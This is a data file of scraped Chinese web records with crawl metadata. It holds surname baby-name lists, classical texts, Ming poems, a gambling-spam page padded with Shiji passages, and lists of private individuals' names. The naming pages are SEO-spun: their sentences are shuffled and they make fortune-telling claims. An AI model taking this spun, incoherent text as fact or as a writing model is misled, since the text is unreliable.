+{"text":"参照《徐氏五行命相学》来起会是个不错的选择。那么对于五行缺金杜姓起名,这样取出来的名字就更能辅助宝宝平安成长。都是利用所缺的五行属性的字来作为名字!\n以平衡宝宝的五行,男孩名字 杜姓五行缺金起名 杜云珊 杜紫怡 杜舒婷 杜素素 杜丽珠 杜秀兰 杜钰晴 杜素珍 杜静雯 杜青霞 杜佩青 杜柔丽 杜子暄 杜海秀 杜依静 杜彩玉 杜柔雅 杜思涵 杜玲珑 杜昕悦 杜秀婷 杜秀慧 杜艳珊 杜琸敏 杜碧瑶 杜美珍 杜紫萱 杜琮敏 杜书瑶 杜琮昕 杜梦倩 杜彩凤 杜舒洁 杜静影 杜钰静 杜素芬 杜倩丽 杜念珍 杜思雅 杜铭秀 杜彩芸 杜素昕 杜君瑶 杜月青 杜素洁 杜倩倩 杜思思 杜静香 杜睿敏 杜静舞 杜玉英 杜美玲 杜青盈 杜昕瑶 杜新佳 杜淑珍 杜瑾平 杜珊萍 杜珊珊 杜婉珊 杜世恩 杜远瑞 杜名钰 杜新杰 杜修敬 杜承天 杜昌明 杜培书 杜志聪 杜秀哲 杜文崇 杜晋尚 杜锦轩 杜少锋 杜胜强 杜铭轩 杜书铭 杜琸君 杜敬贤 杜宇晨 杜玮信 杜德承 杜德文 杜博裕 杜浩暄 杜俊锦 杜靖宇 杜善诚 杜韵信 杜绍杰 杜天祥 杜铭轩 杜圣刚 杜铭志 杜思亮 杜星辰 杜永福 杜昌润 杜绍锋 杜舒翰 杜鸿锦 杜胜铭 杜书亚 杜远靖 杜文瑞 杜云晋 杜智宸 杜世豪 杜涛崇 杜弘信 杜昌博 杜睿思 杜胜达 杜展信 杜俊诚 杜德暄 杜创豪 杜文钦 杜昌信 杜博顺 女孩名字很多父母在给八字中五行有缺的宝宝起名时,例如你的宝宝是徐墨斋居士说的\"阴命水相人\",五行喜金、水,怎样起才好呢?下面有起名网提供了一些带金属性的杜姓名字来给杜姓父母参考: 杜姓父母如果想给宝宝其个与其命理相符的名字,而宝宝五行缺金,也不妨给宝宝佩戴一枚\"貔貅\",若是家里条件允许的话,可以为宝宝辟邪、保平安。那么可以就可以用金属性的字来给宝宝起名,改善其运势。","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.luenes.com\/zhouyiqiming\/813.html","date":"2019-12-14T05:22:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540584491.89\/warc\/CC-MAIN-20191214042241-20191214070241-00153.warc.gz","language":"lzh","language_score":0.6042464375,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6042464375495911, \"cmn_Hani_score\": 0.29037851095199585, \"nan_Hani_score\": 0.062280964106321335, \"yue_Hani_score\": 0.04056597501039505}","num_words":125,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.73,"perplexity_score":500.0,"cluster_detection":1} +{"text":"序\n天地間惟道最尊 道在於上 則傳君相 道在於下 則傳師儒 降至末世 俗衣說法 則道在於庶人 斯又天人交接 亘古一奇局 故\n諸天神聖鸞垂化 闡發道蘊 喚迷子快登覺路 立定規程 渡眾生返回故鄉 錯非斯時 無有是舉 今觀\n純陽祖所著 道貫九則 而益信矣 夫九則者 正合乾元用九之數 固書...","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/readmoo.com\/books\/remark\/index\/2101095970001","date":"2020-02-25T16:21:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146123.78\/warc\/CC-MAIN-20200225141345-20200225171345-00489.warc.gz","language":"lzh","language_score":0.949334383,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9493343830108643, \"nan_Hani_score\": 0.030946943908929825, \"cmn_Hani_score\": 0.017678676173090935}","num_words":26,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.949,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n童香玉 童淑妹 童欣娜 童希娅 童希玉 童兴红 童丽美 童小悦 童晓悦 童太妹 童维玉 童特英 童迪蓉 童雪丽 童梅红 童诗媛 童雪红 童秋燕 童东丽 童东莉 童棕莉 童棕丽 童宗丽 童贤花 童琳涵 童罗琴 童和琴 童杏梅 童欣嫣 童歆嫣 童歆燕 童歆艳 童歆妍 童昕妍 童千妍 童秀妍 童昊妍 童琳娜 童茹薏 童靳媛 童夕妍 童夕嫣 童予妍 童予燕 童沛琳 童渭琳 童海英 童桂丽 童恺茹 童玲恺 童恺玲 童於嫣 童秀嫣 童愉嫣 童煜嫣 童妤嫣 童钰嫣 童毓嫣 童虞嫣 童禹嫣 童俞嫣 童予嫣 童誉嫣 童余嫣 童郁嫣 童裕嫣 童羽嫣 童于嫣 童鱼嫣 童玉嫣 童语嫣 童米娜 童婉玲 童鸿颖 童菊芳 童意芳 童卜萍 童小瑶 童萱花 童怡萱 童译文 童梅花 童群英 童小媛 童怡瑶 童赢莹 童康悦 童康媛 童娟币 童会霞 童立琴 童琴波 童双英 童美瑶 童洁玲 童爱蓉 童琳钰 童钰琳 童雪琴 童莉君 童泽颖 童静霞 童世艳 童悦妍 童静妍 童翠英 童汇玲 童滨怡 童旭冉 童立萍 童玉花 童蔷玲 童义梅 童麦琼 童金娟 童潘萍 童方英 童飘莹 童淑瑶 童秀秀 童悦悦 童巧秀 童媛苑 童昔冉 童熙冉 童华娟 童筱妍 童元文 童晓婧 童雨婧 童雯婧 童春英 童彩梅 童文英 童钰文 童传琴 童花 童佳红 童文玲 童盈丽 童贞瑛 童海红 童英玲 童兴芳 童铭洁 童恬洁 童煜悦 童柳洁 童恬琳 童琼玉 童恬悦 童净悦 童朗悦 童煜洁 童浦婷 童洪英 童妩芳 童辉英 童景悦 童燕芳 童燕芬 童张琼 童高妹 童燕婷 童庆丽 童明娜 童悦扬 童明茹 童卫芳 童兰娟 童燕茹 童怡君 童丽艳 童晓英 童秀红 童泽媛 童瑞英 童仙芳 童肖红 童婉怡 童列芳 童淑萍 童碧玉 童惠萍 童培秀 童菊芬 童灵丽 童铃悦 童凤花 童铃瑶 童秋悦 童妤婷 童萧婷 童怡姿 童琼莹 童瀚文 童鲜萍 童士文 童冠英 童湘玉 童灵芳 童杏娟 童琳霏 童媛婉 童子怡 童小琳 童玲灵 童朝文 童海花 童渝芳 童本玉 童建芬 童玲丽 童玮瑶 童顺英 童赖娟 童崇芳 童婧舒 童悦峰 童燕立 童亚莉 童建琴 童婕妍 童媛瑗 童巧英 童乃怡 童乐妍 童荟琴 童芳媛 童传玲 童丹雪 童怡杉 童怡含 童怡贝 童怡露 童怡馨 童泽娟 童仁萍 童佩红 童燕君 童佩洁 童娜丽 童珊琳 童莹洁 童德芬 童迎芬 童西琳 童婧文 童蓉洁 童洁蓉 童叶红 童映娜 童宗文 童萍芳 童利燕 童枫玲 童毅燕 童茹罄 童涅娜 童奕怡 童凌玲 童小文 童穗文 童秀梅 童淑芬 童琳琅 童红芳 童群燕 童慰娜 童炜娜 童淑娟 童春玲 童琼娜 童永红 童圣萍 童凯萍 童培琳 童焰芬 童锈萍 童娅茗 童悦洋 童一文 童霞芳 童阿花 童润洁 童亦文 童熠琳 童颖娅 童建洁 童俊娜 童静茹 童靖茹 童宝红 童素玲 童桂芳 童琴花 童数玲 童琬茹 童明英 童赛燕","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/zz5000.cn\/show_Q1Q6.aspx","date":"2023-09-29T09:28:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510501.83\/warc\/CC-MAIN-20230929090526-20230929120526-00367.warc.gz","language":"lzh","language_score":0.7334247231,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.733424723148346, \"cmn_Hani_score\": 0.15540356934070587, \"nan_Hani_score\": 0.08138721436262131, \"yue_Hani_score\": 0.028558602556586266}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.734,"perplexity_score":500.0,"cluster_detection":1} +{"text":"唐远胜 唐文诚 唐瑞德 唐韵昌 唐羽晨 唐博顺 唐昌坤 唐志胜 唐俊贤 唐昌云 唐绍文 唐志诚 唐涛胜 唐瑞征 唐智聪 唐展信 唐铭华 唐翰刚 唐超文 唐明瑞 唐铭云 唐昌俊 唐博瑞 唐信昌 唐铭伟 唐胜宇 唐玮仁 唐宇承 唐文旭 唐世帆 唐晋新 唐靖思 唐俊锋 唐子暄 唐远瑞 唐睿德 唐仕文 唐文聪 唐昌彦 唐轩晨 唐昌宏 唐靖宇 唐绍聪 唐睿铭 唐世华 唐靖轩 唐永胜 唐书德 唐靖业 唐绍峰 唐博锦 唐文裕 唐锦轩 唐智信 唐玮睿 唐铭轩 唐书铭 唐琸君 唐宇诚 唐德信\n下面是起名网提供的一些带金属性的唐姓名字,因此在给宝宝起名的时候,五行喜金、水、木,唐秀兰 唐秀梅 唐子珊 唐彩桦 唐素芸 唐靖昕 唐钰晴 唐燕青 唐嘉玲 唐彩洁 唐歆月 唐紫真 唐雨玲 唐玲云 唐琇莹 唐素梅 唐美珠 唐彩英 唐曼青 唐琇玉 唐珍莉 唐青丽 唐秀珍 唐素敏 唐铭珺 唐韵诗 唐铭秀 唐琮敏 唐铭昕 唐美玲 唐钟丽 唐瑞雪 唐思琪 唐瑞萍 唐青珊 唐素芳 唐瑞昕 唐彩芝 唐铭兰 唐瑞霞 唐钰兰 唐钰昕 唐灵秀 唐紫涵 唐静雯 唐锦秀 唐钟韵 唐思怡 唐睿敏 唐玉珍 唐静洁 唐柔欣 唐暄月 唐锦丽 唐锦兰 唐倩芸 唐琛萍 唐欣铭 唐淑珍 唐佳玲如何给五行缺金唐姓起名才好呢?姓名学中也有五行相生相克,家长们不妨给宝宝佩戴一枚\"福齐玉观音\",这样取出来的名字才会对宝宝的成长起到帮扶作用。女孩名字 唐姓五行缺金起名 男孩名字名字只有符合宝宝的命理,如果家庭条件允许的话,才会为宝宝带来益处。还需注意字与字之间的五行关系。那么就可以用金属性的字来给宝宝起名,而宝宝五行缺金,例如你的宝宝是\"阳命土相人\",\n除了补上缺的五行,各位唐姓父母可以来参考一下: 徐墨斋居士说过,可以为宝宝驱邪免灾、保平安!\n关键词: 周易起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/zhouyiqiming\/674.html","date":"2019-12-06T05:22:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484815.34\/warc\/CC-MAIN-20191206050236-20191206074236-00400.warc.gz","language":"lzh","language_score":0.5018903017,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5018903017044067, \"cmn_Hani_score\": 0.3295455873012543, \"wuu_Hani_score\": 0.1454533338546753, \"nan_Hani_score\": 0.014073863625526428}","num_words":126,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.717,"perplexity_score":500.0,"cluster_detection":1} +{"text":"沙巴体育开户\n其後匈奴王徐卢等五人降,景帝欲侯之以劝後。丞相亚夫曰:\"彼背其主降陛下,陛下侯之,则何以责人臣不守节者乎?\"景帝曰:\"丞相议不可用。\"乃悉封徐卢等为列侯。亚夫因谢病。景帝中三年,以病免相。\n太史公曰:旋玑玉衡以齐七政,即天地二十八宿。十母,十二子,锺律调自上古。建律运历造日度,可据而度也。合符节,通道德,即从斯之谓也。\n太史公曰:英布者,其先岂春秋所见楚灭英、六,皋陶之後哉?身被刑法,何其拔兴之暴也!项氏之所阬杀人以千万数,而布常为首虐。功冠诸侯,用此得王,亦不免於身为世大僇。祸之兴自爱姬殖,妒媢生患,竟以灭国!\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知\n周武王伐纣克殷,微子乃持其祭器造於军门,肉袒面缚,左牵羊,右把茅,膝行而前以告。於是武王乃释微子,复其位如故。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/9v7v7.xtwlfbj.com\/ERXMF79426.html","date":"2020-02-29T08:53:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875148850.96\/warc\/CC-MAIN-20200229083813-20200229113813-00372.warc.gz","language":"lzh","language_score":0.4534865916,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4534865915775299, \"cmn_Hani_score\": 0.39676299691200256, \"nan_Hani_score\": 0.03371181711554527, \"yue_Hani_score\": 0.01919843815267086, \"wuu_Hani_score\": 0.01676057279109955, \"jpn_Jpan_score\": 0.010739263147115707}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.421,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.姓孟的女孩叫什么名字好\n孟积志 孟红杰 孟臆惠 孟嘉然 孟昌然 孟李海 孟欣雁 孟逸兰 孟兰杰 孟明君 孟鑫淞 孟佳茨 孟与舒 孟梓欣 孟欣珏 孟雨奇 孟婷平 孟特霞 孟者盈 孟雨适 孟若珂 孟惟学 孟伟蔚 孟思姗 孟雅平 孟家诺 孟雪霞 孟海霖 孟曦翠 孟雪卉 孟怡华 孟丽华 孟雅菲 孟佳疆 孟晓玉 孟嘉诺 孟芷胜 孟檬伊 孟嘉男 孟文雁 孟雅玉 孟秋菲 孟萍倩 孟皙文 孟大琴 孟珺琳 孟雯嫒 孟至英 孟伊玮 孟丹怡 孟扬材 孟爱菲 孟芷艳 孟嫒仪 孟学涵 孟金梅 孟卉明 孟芯玥 孟雪肖 孟小凝 孟晶伟 孟云琪 孟天芳 孟居然 孟绪健 孟晶颖 孟美雁 孟泽洋 孟饭十 孟香芳 孟伊伟 孟露乔 孟晨宁 孟秋彤 孟泓芬 孟舜琼 孟菁惠 孟珊蓝 孟丽玲 孟灵涵 孟壮瑞 孟西方 孟樱镯 孟轩旸 孟荟特 孟丫词 孟涵洋 孟芳遥 孟逾雁 孟慧媛 孟球繁 孟熙钧 孟冰榕 孟艾佳 孟水宇 孟桂萍 孟晓鑫 孟芮贤 孟瑞明 孟熙岚 孟愉艳 孟令琪 孟红东 孟苗阳 孟敏言 孟忻帆 孟丽晗 孟锦航 孟辰虹 孟美心 孟铭婷 孟妍萍 孟函纯 孟旭木 孟梓凤 孟炳月 孟冬玲 孟梓歆 孟平箬 孟玳嘉 孟子佟 孟志东 孟彦男 孟钰乐 孟睿珈 孟婉泽 孟怡纹 孟曼艺 孟逗呓 孟紫若 孟雨君 孟诗瑶 孟晓兰 孟韵琼 孟欣香 孟小红 孟是薰 孟语茹 孟彦淇 孟洁影 孟惠县 孟文霄 孟省阳 孟泓霞 孟轩红 孟可辉 孟瑞森 孟诗华 孟筱梅 孟竹卿 孟爱桦 孟好瑜 孟泽睿 孟璨娟 孟靖寒 孟笑谣 孟若墨 孟璐秋 孟航慧 孟馨硕 孟雯涵 孟钰英 孟振宇 孟燕怡 孟希睿 孟舒英 孟远阳 孟琬荔 孟相元 孟曼语 孟子志 孟宝金 孟星骐 孟肇荣 孟梓峦 孟向茜 孟嬉冉 孟彦丽 孟函羽 孟雨卓 孟俊钰 孟方椿 孟贤宁 孟芸宣 孟桂欣 孟美欣 孟恒为 孟淑越 孟溥芬 孟月超 孟今艺 孟学吾 孟思仪 孟一然 孟逸澜 孟晶产 孟奕宇 孟子媛 孟子淼 孟宸暄。\n2.我姓孟给孩子起名给起什么好名字后面要有解释\n孟源滋 孟展成 孟培元 孟惠民 孟建卫 孟成兰 孟洋帆 孟芮 孟思雅 孟宝林 孟兆桐 孟健豪 孟添忆 孟艳秋 孟亦祺 孟皓鸿 孟俊勋 孟凌志 孟志君 孟行领 孟琢雷 孟志成 孟满顺 孟依珍 孟亚刚 孟正易 孟泽天 孟德熙 孟建民 孟舒宁 孟叶周 孟予汐 孟庆博 孟宸乐 孟海狨 孟民伟 孟军 孟汝昱 孟妮霓 孟均峻 孟坤 孟金斌 孟正则 孟悟善 孟水间 孟乃诗 孟松 孟铭 孟铭成 孟译庆 孟爱秀 孟传昊 孟坏珂 孟锐 孟梅先 孟汀兰 孟显礼 孟美林 孟华勇 孟添雨 孟姑子 孟茸 孟运珍 孟海涌 孟综赞 孟羽丰 孟文娇 孟华山 孟一弘 孟桁乜 孟筱彤 孟君 孟斯慧 孟凤华 孟雨晰 孟树鸽 孟兴江 孟岳海 孟俊吉 孟乐语 孟骐禹 孟梓东 孟卓沂 孟达元 孟均新 孟梁恩 孟剀瑞 孟凤姜 孟学工 孟力汉 孟锦昕 孟燃 孟葆茗 孟英改 孟攀峰 孟温暖 孟辛格 孟雅瑜 孟曰情 孟舟祥 孟秋骅 孟政强 孟韵祈 孟峥嵘 孟桐卉 孟蹁跹 孟牧 孟湘湘 孟猛强 孟长学 孟梓安 孟天成 孟柱铖 孟迎仙 孟义平 孟涵睿 孟鹤鸣 孟科杰 孟华超 孟驰弦 孟丹毕 孟振国 孟玉骄 孟沁海 孟芷影 孟书 孟丞丞 孟南皙 孟知陶 孟广云 孟清筱 孟有鸿 孟润宁 孟亦熙 孟中 孟叶斌 孟春芽 孟骧名 孟柏重 孟联喜 孟新辰 孟风云 孟刚明 孟家兴 孟文棋 孟惊弓 孟震烨 孟茜茜 孟艾嘉 孟恩瑞 孟苑 孟翊晖 孟佳壕 孟芊晨 孟庆一 孟鑫 孟晨宇 孟誉译 孟田雨 孟汉霖 孟霸 孟壬慧 孟东璋 孟秀珍 孟瑞博 孟山车 孟晓晔 孟晨莺 孟凯 孟德宏 孟魁 孟铄峁 孟郁筱 孟柯岩 孟依彤 孟未央 孟云卿 孟梓辰 孟家琦 孟衣可 孟杰 孟放 孟秀璋 孟亮亮 孟野 孟朵朵 孟柯玮 孟思若 孟钱 孟坤宇 孟佳慧 孟富良 孟柯菡 孟锡纯 孟中徽 孟大山 孟启宇 孟诗歧 孟至善 孟优 孟朵灵 孟霁刀 孟惠煜 孟西章 孟江洪 孟荣幽 孟晓娇 孟秉杰 孟斌斌 孟松 孟东升 孟璐璐 孟浩运 孟淑君 孟懿涵 孟蓝蓝 孟建兵 孟纪纲 孟丽静 孟国平 孟弘伊 孟姝 孟子子 孟男杰 孟绍珍 孟志鑫 孟英姿 孟绒云 孟非 孟思菡 孟艳雷 孟赞丹 孟泊 孟鹏 孟银虎 孟佳韵 孟蔷霏 孟惠萱 孟小彤 孟铭操 孟菁溪 孟毓 孟思敏 孟尚霖 孟续泽 孟涵 孟泽峰 孟恩见 孟榆皓 孟宗海 孟恩玺 孟晓丹 孟奕涵 孟礼维 孟铃 孟泓瑞 孟敖臣 孟俊鞍 孟若虎 孟妃 孟宇润 孟夕骊 孟慧琦 孟巾秀 孟笑昕 孟正旭 孟恒赫 孟权政 孟语泽 孟俊岩 孟瑞宝 孟风 孟晓诺 孟逸帆 孟泽仪 孟晶 孟佳昕 孟思敏 孟伍 孟海生 孟垌赫 孟世才 孟志泳 孟玉成 孟闰涛 孟盛 孟珊竹 孟植尹 孟博元 孟钰丰 孟豪川 孟子健 孟鑫聪 孟榆 孟宇彤 孟长秀 孟静蕾 孟雅贞 孟建权 孟兰朵 孟家鑫 孟拓宏 孟荣舒 孟馥名 孟沐峰 孟长林 孟薇格 孟家骏 孟琛 孟凌仙 孟小侬 孟菁 孟彰嵊 孟志勇 孟颂江 孟沙沙 孟浩琪 孟航 孟云菲 孟蝶 孟欣渝 孟阳升 孟弦 孟相莲 孟立鑫 孟凤莲 孟晓蕾 孟军 孟绒绒 孟思月 孟林昕 孟继承 孟洁昕 孟雅童 孟梓墨 孟小雅 孟璋明 孟良青 孟昱佳 孟晓薇 孟雄 孟声涛 孟朋 孟汶彤 孟佳梓 孟田夫 孟亚哲 孟晓峰 孟望霆 孟锦鹏 孟少群 孟何契 孟佳嘉 孟渊明 孟宏威 孟德仁 孟宸剑 孟鑫 孟戈富 孟之情 孟越超 孟斯羽 孟岩泓 孟忠臣 孟辰晓 孟峻源 孟水姑 孟恩德 孟菡之 孟宗熹 孟秀林 孟意涟 孟昱桐 孟妃 孟苇药 孟妤。","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.qm126.com\/k\/26256.html","date":"2021-12-07T21:22:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363418.83\/warc\/CC-MAIN-20211207201422-20211207231422-00441.warc.gz","language":"lzh","language_score":0.8774760962,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8774760961532593, \"nan_Hani_score\": 0.11281729489564896}","num_words":578,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.877,"perplexity_score":500.0,"cluster_detection":1} +{"text":"退出恶党的团组织,迎接光明的未来。\n声明人:张兆祥 关成义 黄桂芝 张玉青 关兴君 杨兴林 关继平 丛芳 关永平 王玲 艾常安 管继正 赵永祥 王云清 张兆明 孙继梅 安凤娟 徐吉明 安凤丽 宋玉金 安凤英 关世省 齐景连 李永祥 赵桂珍 李连芳 冯海林 张兆亮 曾福玉 张立岩 李志君 代文成 刘沫 程安 唐娟 赵华 姜兆义 刘英 黄占勇 王兴达 安凤霞 安国栋 曲明仁 石正方 田广丽 蔡志君 张国君 宫国俊 赵明玉 林清华 顾元明 刘明礼 张芳 王永俊 刘丽华 关平 王荣丽 付明君 于泳泽 赫崇洲 李兴良 程志强 付明仁 荆云芳 袁庆忠 王秀娟 张明义 张燕 代福平 刘凤华(72)","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/santui.tuidang.org\/index\/showpost\/id\/28272440","date":"2022-06-24T22:27:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103033816.0\/warc\/CC-MAIN-20220624213908-20220625003908-00633.warc.gz","language":"lzh","language_score":0.4061253369,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.40612533688545227, \"cmn_Hani_score\": 0.3955986499786377, \"nan_Hani_score\": 0.18700654804706573}","num_words":71,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.492,"perplexity_score":500.0,"cluster_detection":1} +{"text":"李東陽的詩文(847首)1\/34頁\n作者:\n李白 陸游 劉克莊 楊萬里 趙蕃 弘歷 蘇軾 梅堯臣 方回 白居易 王世貞 黃庭堅 陳造 范成大 張耒 屈大均 蘇轍 王安石 歐大任 胡應麟 佚名 項安世 邵雍 宋祁 司馬光 姚燮 陳著 方岳 曹勛 樓鑰 杜甫 魏了翁 吳芾 陳維崧 佚名 白玉蟾 王之道 韓淲 洪咨夔 歐陽修 張镃 程敏政 劉崧 周紫芝 程公許 戴復古 劉基 王十朋 曾豐 韓維 王炎 佚名 文天祥 鄧云霄 周必大 賀鑄 喻良能 李綱 文同 宋庠 馬鈺 晁說之 李曾伯 李東陽 胡奎 李彌遜 釋文珦 舒岳祥 強至 晁補之 高啟 釋印肅 陳普 辛棄疾 姜特立 楊維楨 李夢陽 王洋 齊己 陸文圭 劉禹錫 顧璘 岳珂 陳宓 楊慎 陳師道 韓元吉 劉敞 郭之奇 虞儔 朱熹 孫應時 楊士奇 袁宏道 仇遠 釋德洪 郭印 郭祥正 邵寶 王冕\n類型:\n哀愁 哀悼 哀歌 哀傷 哀思 哀嘆 哀痛 哀怨 愛國 愛民 愛慕 愛情 愛人 安慰 懊悔 白菊 百姓 傍晚 胞弟 抱負 杯古 悲愁 悲愴 悲憤 悲歌 悲觀 悲劇 悲苦 悲涼 悲切 悲秋 悲傷 悲嘆 悲痛 悲惋 悲壯 碑記 碑文 奔放 比喻 避諱 邊將 邊疆 邊塞 貶謫 變化 表演 別愁 別離 別情 不滿 不舍 才女 采蓮 殘春 策論 策略 茶葉 禪意 禪隱 猖狂 悵然 悵惘 唱歌 唱和 嘲諷 誠信 乘船 池塘 憧憬 惆悵 酬答 酬和 酬贈 愁病 愁恨 愁苦 愁悶 愁情 愁思 愁緒 愁怨 出游 出征 初夏 初中古詩 初中文言文 除夕 楚辭 觸景感懷 觸景傷情 觸景生情 傳記 傳說 船夫 垂釣 垂柳 春殘 春愁 春光 更多>>\n九月八日與謝于喬諸公游朝天宮有作\n細草蒼苔石路重,偶從西郭問仙蹤。亭如逋叟長留鶴,徑似陶潛但有松。\n塵世百年能幾見,洞門今夜不須封。謝家屐齒應無恙,擬上蓬山第一峰。\n予素不善飲文明詩來有西涯爛醉欲人扶之句日以二樽見惠步韻答之\n夢斷高陽舊酒徒,坐驚神語落虛無。若教對飲應差勝,縱使微醺不用扶。\n往事分明成一笑,遠情珍重得雙壺。次公亦是酲狂客,幸未粗豪比灌夫。\n花將軍歌\n花將軍,身長八尺勇絕倫,從龍渡江江水渾。提劍躍馬走平陸,敵兵不能逼,主將不敢嗔。\n殺人如麻滿川谷,遍體無一刀鎗痕。太平城中三千人,楚賊十萬勢欲吞。\n將軍怒呼縛盡絕,罵賊如狗狗不狺。檣頭萬箭集如猬,將軍愿死不愿生作他人臣。\n郜夫人,赴水死,有妻不辱將軍門。將軍侍婢身姓孫,收尸葬母抱兒走,為賊俘虜隨風塵。\n寄兒漁家屬漁姆,死生已分歸蒼旻。賊平身歸竊兒去,夜宿陶穴如生墳。\n亂兵爭舟不得渡,墮水不死如有神。浮槎為舟蓮為食,空中老父能知津。\n孫來抱兒達行在,哭聲上徹天能聞。帝呼花云兒,風骨如花云。\n手摩膝置泣復嘆,云汝不死猶兒存。兒年十五官萬戶,九原再拜君王恩。\n忠臣節婦古稀有,嬰杵尚是男兒身。英靈在世竟不朽,下可為河岳,上可為星辰。\n君不見金華文章石室史,嗟我欲賦豈有筆力回千鈞。\n送程克勤諭德歸省尚書\n楊脩家世本公卿,庾信文章自老成。館閣盡推良史筆,君王親記講官名。\n金函玉扆丁寧詔,去馬歸舟日夜程。卻倚三臺看北斗,鯉庭鸞掖正含情。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.theslashblog.com\/shici\/mingdai\/lidongyang\/","date":"2023-03-21T04:02:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943625.81\/warc\/CC-MAIN-20230321033306-20230321063306-00794.warc.gz","language":"lzh","language_score":0.4157892168,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4157892167568207, \"cmn_Hani_score\": 0.3461492359638214, \"nan_Hani_score\": 0.2106567621231079, \"yue_Hani_score\": 0.01637774147093296}","num_words":224,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.55,"perplexity_score":500.0,"cluster_detection":1} +{"text":"根據山西省新聞出版局《關于開展2022年度新聞記者證核驗工作的通知》文件精神,我單位已認真組織開展自查自糾,逐個審核持證人員條件,現將擬通過年度核驗人員名單予以公示。\n擬通過年度核驗人員名單:\n曹麗麗 曹曉紅 柴紅絨 晁新波 陳輝 陳鈞剛 陳小毅 陳瑩紅 翟春媛 翟鴻明 翟澤萌 弟雷 丁理 董斌 董華 董穎 董衛東 董曉紅 杜劍 杜建峰 樊鵬 樊彩鳳 樊俊峰 樊若晨 樊玉萍 范武 馮波 馮會 馮艷 付衛東 關凱娟 關曉琳 郭靜 郭強 郭瀟 郭鑫 郭宏伶 郭振海 韓茸 黃晉紅 賈杰 賈都督 賈艷梅 雷偉宏 李晨 李梅 李娜 李琦 李秉紅 李金華 李京芳 李娟 李立欣李茉林 李如凡 李小芬 李曉霞 李肖君 李秀紅 李燕菊 李英 梁晉娟 劉偉 劉海英 劉建偉 劉瑞霞 劉文智 劉小芳 呂澤 馬紅巖 寧衛勇 歐陽林子 喬運康 上官貝麗 師蔚 蘇璐霞 蘇玉波 孫軍兵 譚麗紅 王鋒 王俊 王琳 王璐 王偉 王霄 王革生 王國杰 王紅香 王瑞娟 王社憲 王雪娟 王艷春 王藝靜 衛國際 衛娟娟 衛婷 衛香玲 吳曉 吳華星 武楠 徐薇 徐雪芳 薛曉玲 閆霄 閆麗萍 嚴惠 楊潔 楊俊 楊程潤 楊瑞霞 姚金 姚平定 原靜 張娜 張曉 張屹 張英 張旭 張碧晶 張光輝 張國霞 張紅艷 張疆鳳 張婧帆 張小芬張曉波 張曉琴 張曉央 張筱娟 張詠華 趙麗 趙溪涓 趙秀杰 周凌 周霞 